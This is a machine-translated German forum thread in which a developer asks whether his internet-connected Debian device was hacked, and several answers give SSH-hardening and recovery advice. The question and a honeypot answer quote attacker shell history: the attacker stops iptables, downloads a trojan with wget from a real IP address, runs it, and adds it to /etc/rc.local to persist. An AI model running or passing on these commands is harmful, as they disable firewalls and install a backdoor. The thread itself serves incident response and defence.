it-swarm.com.de

Habe ich gerade gehackt?

Ich entwickle ein Verbraucherprodukt und es soll mit dem Internet verbunden sein, also ist es wie erwartet mit dem Internet verbunden, damit ich es richtig entwickeln kann.

Ich ging für ein oder zwei Stunden weg und als ich in mein Büro zurückkam, bemerkte ich einige seltsame Befehle, die im Terminal geschrieben waren.

Wenn ich mir die Linux-Protokolldatei mit dem Namen auth.log ansehe, sehe ich unter anderem die folgenden Zeilen:

Feb  1 10:45:10 debian-armhf sshd[994]: pam_unix(sshd:auth): authentication failure; logname= uid=0 euid=0 tty=ssh ruser= rhost=40.127.205.162  user=root
Feb  1 10:45:12 debian-armhf sshd[994]: Failed password for root from 40.127.205.162 port 37198 ssh2
Feb  1 10:45:12 debian-armhf sshd[994]: Received disconnect from 40.127.205.162: 11: Bye Bye [preauth]

Die IP-Adresse 40.127.205.162 gehört Microsoft .

Hier sind einige Befehle, die während meiner Abwesenheit verwendet wurden:

  355  service iptables stop
  356  cd /tmp
  357  wget http://222.186.30.209:65534/yjz1
  358  chmod 0755 /tmp/yjz1
  359  Nohup /tmp/yjz1 > /dev/null 2>&1 &
  360  chmod 777 yjz1
  361  ./yjz1
  362  chmod 0755 /tmp/yjz1
  363  Nohup /tmp/yjz1 > /dev/null 2>&1 &
  364  chmod 0777 yjz1
  365  chmod u+x yjz1
  366  ./yjz1 &
  367  chmod u+x yjz1
  368  ./yjz1 &
  369  wget http://222.186.30.209:65534/yjz
  370  chmod 0755 /tmp/yjz
  371  Nohup /tmp/yjz > /dev/null 2>&1 &
  372  chmod 777 yjz
  373  ./yjz
  374  chmod 0755 /tmp/yjz
  375  Nohup /tmp/yjz > /dev/null 2>&1 &
  376  chmod u+x yjz
  377  ./yjz &
  378  chmod u+x yjz
  379  ./yjz &
  380  cd /tmp
  381  echo "cd  /tmp/">>/etc/rc.local
  382  service iptables stop
  383  cd /tmp
  384  wget http://222.186.30.209:65534/yjz1
  385  chmod 0755 /tmp/yjz1
  386  Nohup /tmp/yjz1 > /dev/null 2>&1 &
  387  chmod 777 yjz1
  388  ./yjz1
  389  chmod 0755 /tmp/yjz1
  390  Nohup /tmp/yjz1 > /dev/null 2>&1 &
  391  chmod u+x yjz1
  392  ./yjz1 &
  393  chmod 0777 yjz1
  394  ./yjz1 &
  395  echo "cd  /tmp/">>/etc/rc.local
  396  service iptables stop
  397  wget http://222.186.30.209:65534/yjz1
  398  chmod 0755 /root/yjz1
  399  Nohup /root/yjz1 > /dev/null 2>&1 &
  400  chmod 777 yjz1
  401  ./yjz1
  402  chmod 0755 /root/yjz1
  403  Nohup /root/yjz1 > /dev/null 2>&1 &
  404  chmod u+x yjz1
  405  ./yjz1 &
  406  chmod 0777 yjz1
  407  ./yjz1 &
  408  echo "cd  /root/">>/etc/rc.local
  409  cd /tmp
  410  service iptables stop
  411  wget http://222.186.30.209:65534/yjz1
  412  chmod 0755 /tmp/yjz1
  413  Nohup /tmp/yjz1 > /dev/null 2>&1 &
  414  chmod 777 yjz1
  415  ./yjz1 &
  416  cd /etc
  417  echo "cd /root/">>/etc/rc.local
  418  echo "./yjz1&">>/etc/rc.local
  419  echo "./yjz1&">>/etc/rc.local
  420  echo "/etc/init.d/iptables stop">>/etc/rc.local
  421  cd /tmp
  422  service iptables stop
  423  wget http://222.186.30.209:65534/yjz1
  424  chmod 0755 /tmp/yjz1
  425  Nohup /tmp/yjz1 > /dev/null 2>&1 &
  426  chmod 777 yjz1
  427  ./yjz1 &
  428  cd /etc
  429  echo "cd /root/">>/etc/rc.local
  430  echo "./yjz1&">>/etc/rc.local
  431  echo "./yjz1&">>/etc/rc.local
  432  echo "/etc/init.d/iptables stop">>/etc/rc.local
  433  cd /tmp
  434  service iptables stop
  435  wget http://222.186.30.209:65534/yjz1
  436  chmod 0755 /tmp/yjz1
  437  Nohup /tmp/yjz1 > /dev/null 2>&1 &
  438  chmod 777 yjz1
  439  ./yjz1 &
  440  cd /etc
  441  echo "cd /root/">>/etc/rc.local
  442  echo "./yjz1&">>/etc/rc.local
  443  echo "./yjz1&">>/etc/rc.local
  444  echo "/etc/init.d/iptables stop">>/etc/rc.local
  445  service iptables stop
  446  wget http://222.186.30.209:65534/yjz1
  447  chmod 0755 /root/yjz1
  448  Nohup /root/yjz1 > /dev/null 2>&1 &
  449  chmod 777 yjz1
  450  ./yjz1
  451  chmod 0755 /root/yjz1
  452  Nohup /root/yjz1 > /dev/null 2>&1 &
  453  chmod 0777 yjz1
  454  chmod u+x yjz1
  455  ./yjz1 &
  456  chmod u+x yjz1
  457  ./yjz1 &

Und mehr:

  481  service iptables stop
  482  wget http://222.186.30.209:65534/yjz1
  483  chmod 0755 /root/yjz1
  484  Nohup /root/yjz1 > /dev/null 2>&1 &
  485  chmod 777 yjz1
  486  ./yjz1
  487  chmod 0755 /root/yjz1
  488  Nohup /root/yjz1 > /dev/null 2>&1 &
  489  chmod 0777 yjz1
  490  chmod u+x yjz1
  491  ./yjz1 &
  492  chmod u+x yjz1
  493  ./yjz1 &
  494  cd /tmp
  495  service iptables stop
  496  wget http://175.102.133.55:2/yjz
  497  ./yd_cd/make
  498  service iptables stop
  499  service iptables stop
  500  wget http://222.186.30.209:65534/yjz1

Ich war mir dessen überhaupt nicht bewusst. Wie kann ich mein Produkt richtig sichern?

Ich möchte die komplette auth.log Datei posten. Wie mache ich das?

Außerdem scheint die heruntergeladene Datei yjz1 ein Linux-Trojaner zu sein, und dies alles scheint von einer Art Hacker-Gruppe gemäß http://anti-hacker-alliance.com/index.php?ip= gemacht worden zu sein 40.127.205.162

Soll ich Microsoft anrufen und mit ihnen sprechen? Was soll ich machen?

488
vaid

Willkommen im Internet - wo jeder offene SSH-Server wahrscheinlich untersucht, brutal gezwungen und mit verschiedenen Angriffen belegt wird.

Zu Beginn müssen Sie den Speicher auf dem Produkt vollständig löschen. Image es, wenn Sie es für die Forensik weitergeben möchten, aber die Linux-Installation darauf ist jetzt verdächtig.

Ein bisschen Rätselraten aber

  1. Sie wurden brutal gezwungen, oder ein gemeinsames Passwort zu verwenden. Es ist Sicherheit durch Unbekanntheit, aber Sie möchten nicht, dass ein Wörterbuchkennwort oder ein für SSH offenes Root-Konto verwendet. Deaktivieren Sie den Root-SSH-Zugriff, wenn dies eine Option ist, oder ändern Sie zumindest den Namen, damit beide erraten werden müssen. SSHing als Root ist sowieso eine schreckliche Sicherheitspraxis. Wenn Sie root verwenden müssen, melden Sie sich als ein anderer Benutzer an und wechseln Sie mit su oder Sudo.

  2. Je nach Produkt möchten Sie möglicherweise den SSH-Zugriff auf irgendeine Weise sperren. Eine vollständige Sperrung klingt nach einer guten Idee und ermöglicht es den Benutzern, sie nach Bedarf zu öffnen. Je nachdem, welche Ressourcen Sie sparen können, sollten Sie in Betracht ziehen, nur IP-Adressen in Ihrem eigenen Subnetz oder eine Art Anmeldedrosselung zuzulassen. Wenn Sie es für das Endprodukt nicht benötigen, stellen Sie sicher, dass es ausgeschaltet ist.

  3. Verwenden Sie einen nicht standardmäßigen Anschluss. Wieder Sicherheit durch Unbekanntheit, aber dies bedeutet, dass ein Angreifer auf Ihren Port zielen muss.

  4. Verwenden Sie niemals ein Standardkennwort. Der beste Ansatz, den ich gesehen habe, besteht darin, ein zufälliges Kennwort für ein bestimmtes Gerät zu generieren und es mit Ihrem Produkt zu versenden. Best Practice ist die schlüsselbasierte Authentifizierung, aber ich habe keine Ahnung, wie Sie das bei einem Massenmarktprodukt angehen würden.

141
Journeyman Geek

Oh, du wurdest definitiv gehackt. Jemand konnte anscheinend Root-Anmeldeinformationen abrufen und hat versucht, einen Trojaner auf Ihr System herunterzuladen. Marius Matutiae lieferte eine Analyse der Nutzlast.

Es stellen sich zwei Fragen: a) War der Angreifer erfolgreich? Und b) was können Sie dagegen tun?

Die Antwort auf die erste Frage kann ein Nein sein. Beachten Sie, wie der Angreifer wiederholt versucht, die Nutzdaten herunterzuladen und auszuführen, anscheinend ohne Erfolg. Ich vermute, dass etwas (SELinux, vielleicht?) Ihm im Weg stand.

JEDOCH: Der Angreifer hat auch Ihre /etc/rc.d/rc.local -Datei geändert, in der Hoffnung, dass beim Neustart Ihres Systems die Nutzlast aktiviert wird. Wenn Sie das System noch nicht neu gestartet haben, starten Sie es erst neu, nachdem Sie diese Änderungen aus /etc/rc.d/rc.local entfernt haben. Wenn Sie es bereits neu gestartet haben ... nun, Pech.

Was Sie dagegen tun können: Am sichersten ist es, das System zu löschen und von Grund auf neu zu installieren. Dies ist jedoch möglicherweise nicht immer eine Option. Deutlich weniger sicher ist es, genau zu analysieren, was passiert ist, und jede Spur davon zu löschen, wenn Sie können. Wenn Sie das System noch nicht neu gestartet haben, ist möglicherweise nur ein sauberer /etc/rc.d/rc.local erforderlich. Entfernen Sie alle vom Angreifer heruntergeladenen Dateien und ändern Sie zu guter Letzt das verdammte Kennwort.

Wenn der Angreifer die Nutzlast jedoch bereits ausführen konnte, sind möglicherweise andere Änderungen an Ihrem System schwer zu erkennen. Aus diesem Grund ist ein vollständiges Abwischen die einzig sichere (und empfohlene) Option. Wie Sie bereits angedeutet haben, handelt es sich bei dem betreffenden Gerät möglicherweise um ein Test-/Entwicklungsziel. Daher ist das Abwischen möglicherweise nicht so schmerzhaft wie in anderen Fällen.

Update : Ungeachtet dessen, was ich über eine mögliche Wiederherstellung geschrieben habe, möchte ich die sehr starke Empfehlung von MariusMatutiae wiederholen, den potenziellen Schaden, der durch diese Nutzlast verursacht wird, und das Ausmaß, in dem sie möglicherweise das Zielsystem beeinträchtigt hat, nicht zu unterschätzen.

33
Viktor Toth

Mein sshd-honeypot hat auch diese Art von Angriff gesehen. Die ersten Downloads von dieser URL begannen am 29.01.2016 um 10:25:33 Uhr und die Angriffe dauern noch an. Angriffe sind/waren von

103.30.4.212
111.68.6.170
118.193.228.169

Input von diesen Angreifern war:

 service iptables stoppt 
 wget http://222.186.30.209:65534/yjz1[.____.‹Nohup/root/yjz1>/dev/null 2> & amp1 & 
 chmod 0777 yjz1 
 Chmod u + x yjz1 
 ./ yjz1 & 
 Chmod u + x yjz1 
 ./ yjz1 & 
 Cd/tmp 

Also keine anderen Aktivitäten, als die Hintertür für später zu installieren.

17

Jeder hier hat solide Ratschläge gegeben. Um jedoch klar zu sein, sollten Sie vorrangig das sichern und überprüfen, was Sie wirklich von diesem System benötigen, und es dann mit einer Neuinstallation von bekanntermaßen sicheren Datenträgern löschen.

Führen Sie die folgenden Ideen aus, bevor Sie Ihren neu installierten Host mit dem Internet verbinden:

  1. Erstellen Sie einen neuen Benutzer ohne Rootberechtigung und melden Sie sich als dieser Benutzer an. Sie sollten sich niemals als root anmelden müssen, sondern nur bei Bedarf Sudo (Ersatzbenutzer).

  2. Installieren Sie SE Linux mit Konfigurationseinstellungen, die die obligatorische Zugriffssteuerung aktivieren: https://wiki.debian.org/SELinux/Setup

  3. Stellen Sie sich eine Hardware-Firewall zwischen Ihrem Büro/Zuhause und dem Internet vor. Ich benutze MicroTik, das von der Community hervorragend unterstützt wird: http://routerboard.com/ .

Angenommen, Sie befinden sich auf einem Zeitplan für die Erledigung Ihrer bezahlten Arbeit, tun Sie zumindest # 1. # 3 ist schnell und billig, aber Sie müssen entweder auf das Paket in der Post warten oder in den Laden fahren.

11
pyn
  1. Ist debian-armhf Ihr Hostname? Oder verwenden Sie eine Standardinstallation mit Standardeinstellungen? Dies ist kein Problem, aber Sie sollten nicht zulassen, dass der Host direkt dem Internet ausgesetzt wird (d. H. Zumindest nicht durch Ihr Modem geschützt).

  2. Es sieht so aus, als käme der eigentliche Ärger von 222.186.30.209 (siehe http://anti-hacker-alliance.com/index.php?ip=222.186.30.209 ). Sie sollten nicht viel darauf achten, die IP von Microsoft zu sehen. IPs können mehr oder weniger leicht gefälscht werden.

  3. Eine übliche Möglichkeit, eine Verbindung zum Internet herzustellen, besteht darin, eine bekannte Liste von Ports von Ihrer öffentlichen IP-Adresse (z. B. 8.8.8.8) an Ihre lokale Adresse (z. B. 192.168.1.12) weiterzuleiten.

    • Leiten Sie beispielsweise nicht alle eingehenden Verbindungen von 8.8.8.8 (public) zu 192.168.1.12 (local) weiter.

    • Leiten Sie nur die Ports 22 und 25 (ssh bzw. eingehende Mail) weiter. Natürlich sollten Sie auch aktuelle ssh und smtp packages/libraries haben.

  4. Was kommt als nächstes? Trennen Sie den Host und ändern Sie alle Kennwörter (auf allen mit der Organisation verbundenen Computern), die in Shell-Skripten fest codiert sind (Schande für Sie!), In /etc/shadow.

11
Archemar

Wie bereits erwähnt, ist die Sicherheit Ihres Servers offensichtlich gefährdet. Am sichersten ist es, diese Maschine abzuwischen und neu zu installieren.

Um den zweiten Teil Ihrer Frage zu beantworten, empfehle ich, wenn Sie die Authentifizierung mit öffentlichem Schlüssel nicht verwenden können, mindestens Fail2Ban einzurichten und SSH auf einem nicht standardmäßigen Port auszuführen. Ich deaktiviere auch den Root-SSH-Zugriff.

Fail2Ban verringert Brute-Force-Angriffe, indem IP-Adressen gesperrt werden, die sich nicht mehrmals anmelden.

Wenn Sie sshd so einstellen, dass es einen nicht standardmäßigen Port überwacht, wird die Sichtbarkeit Ihres SSH-Servers zumindest geringfügig eingeschränkt. Durch Deaktivieren der Stammanmeldung wird auch das Angriffsprofil geringfügig verringert. In /etc/sshd_config:

PermitRootLogin no
Port xxxxx

Wenn die Root-Anmeldung deaktiviert ist, müssen Sie entweder mit su zu root wechseln, sobald Sie eine Verbindung hergestellt haben, oder (bevorzugter) Sudo verwenden, um privilegierte Befehle auszuführen.

9
Nate H

SSH-Server werden im Internet ständig angegriffen. Ein paar Dinge, die Sie tun:

  1. Stellen Sie sicher, dass Sie ein sehr sicheres Zufallspasswort für über das Internet zugängliche Computer verwenden. Ich meine wie 16 Zeichen oder mehr und völlig zufällig. Verwenden Sie einen Passwort-Manager, damit Sie sich nichts merken müssen. Wenn Sie sich Ihr Passwort merken können, ist es zu einfach.

  2. Wenn Sie kein SSH benötigen, schalten Sie es aus. Wenn Sie es benötigen, aber nicht öffentlich zugänglich benötigen, führen Sie es auf einer hohen, nicht standardmäßigen Portnummer aus. Auf diese Weise werden Hackversuche drastisch reduziert. Ja, ein dedizierter Hacker kann einen Port-Scan durchführen, aber automatisierte Bots finden ihn nicht.

Das Snippet aus Ihrem Authentifizierungsprotokoll zeigt einen fehlgeschlagenen Versuch. Wenn Sie jedoch weiter suchen, sehen Sie zweifellos eine erfolgreiche Anmeldung. Wenn Sie ein einfaches Passwort verwenden, ist es für einen Bot trivial, einzusteigen.

Sie müssen dieses System vom Netzwerk trennen. Nimm sehr vorsichtig das, was du brauchst, und wische es dann ab.

8
user1751825

Das erste, was jeder nach dem Einrichten eines Linux/Unix-Servers mit Front-View tun sollte, ist, root sofort zu deaktivieren.

Ihr System wurde kompromittiert. Sie haben ein laufendes Verlaufsprotokoll, das zu einem gewissen Grad cool sein kann. Ehrlich gesagt ist es jedoch ein bisschen pingelig und hilft Ihnen nicht, Ihren Server zu sichern. Es zeigt alle Arten von Unsinn, der auftritt, wenn Botnet-Malware erzeugt wird - was höchstwahrscheinlich die Infektion Ihres Servers ist -, die ein Linux-System infiziert. Die Antwort von @MariusMatutiae ist nett und gut durchdacht, und es gibt andere, die wiederholen, dass Sie über den Zugriff von root gehackt wurden.

Es gibt ein paar Erklärungen zum Deaktivieren von root, aber ich werde aus eigener Erfahrung feststellen, dass fast alles, was über das hinausgeht, was ich jetzt beschreiben werde, übertrieben ist. Das haben Sie sollte getan, als Sie den Server zum ersten Mal eingerichtet haben:

  1. Erstelle einen neuen Benutzer mit den Rechten Sudo: Erstelle einen neuen Benutzer mit einem neuen Namen - so etwas wie cooldude - mit einem Befehl wie Sudo adduser cooldude, wenn du Ubuntu oder ein anderes Debian-System verwendest. Bearbeiten Sie dann einfach die Datei Sudo manuell mit einem Befehl wie diesem Sudo nano /etc/sudoers und fügen Sie eine Zeile wie cooldude ALL=(ALL:ALL) ALL unter der entsprechenden Zeile ein, die root ALL=(ALL:ALL) ALL lauten soll. Melden Sie sich danach als cooldude an und testen Sie den Befehl Sudo mit einem Befehl wie Sudo w - etwas grundlegendes und zerstörungsfreies -, um festzustellen, ob die Rechte für Sudo funktionieren. Möglicherweise werden Sie zur Eingabe eines Kennworts aufgefordert. Das funktioniert? Alles gut! Fahren Sie mit dem nächsten Schritt fort.
  2. Sperren Sie das Konto root: Okay, jetzt, da cooldude für die Rechte Sudo zuständig ist, melden Sie sich als cooldude an und führen Sie diesen Befehl aus, um das Root-Konto Sudo passwd -l root zu sperren. Wenn Sie irgendwie ein SSH-Schlüsselpaar für root erstellt haben, öffnen Sie /root/.ssh/authorized_keys und entfernen Sie die Schlüssel. Oder noch besser, benennen Sie diese Datei einfach in authorized_keys_OFF um, Sudo mv /root/.ssh/authorized_keys /root/.ssh/authorized_keys_OFF, um die SSH-Schlüssel effektiv zu deaktivieren. Ich bevorzuge das spätere, da Sie bei der Gelegenheit immer noch ein passwortloses Login benötigen. Sie können diese Datei einfach wieder auf den ursprünglichen Namen zurücksetzen, und Sie sollten einsatzbereit sein.

FWIW, ich habe im Laufe der Jahre (Jahrzehnte?) Dutzende von Linux-Servern verwaltet und weiß aus Erfahrung, dass das Deaktivieren von root und das Einrichten eines neuen Benutzers mit Sudo-Rechten die einfachste und grundlegendste Möglichkeit ist, ein Linux-System zu sichern. Ich musste noch nie mit einer Art von Kompromittierung über SSH fertig werden, wenn root deaktiviert wurde. Und ja, es kann sein, dass Sie Anmeldeversuche über den auth.log sehen, diese sind jedoch bedeutungslos. Wenn root deaktiviert ist, summieren sich diese Versuche nie zu etwas. Lehnen Sie sich einfach zurück und beobachten Sie, wie die Versuche endlos scheitern!

6
JakeGould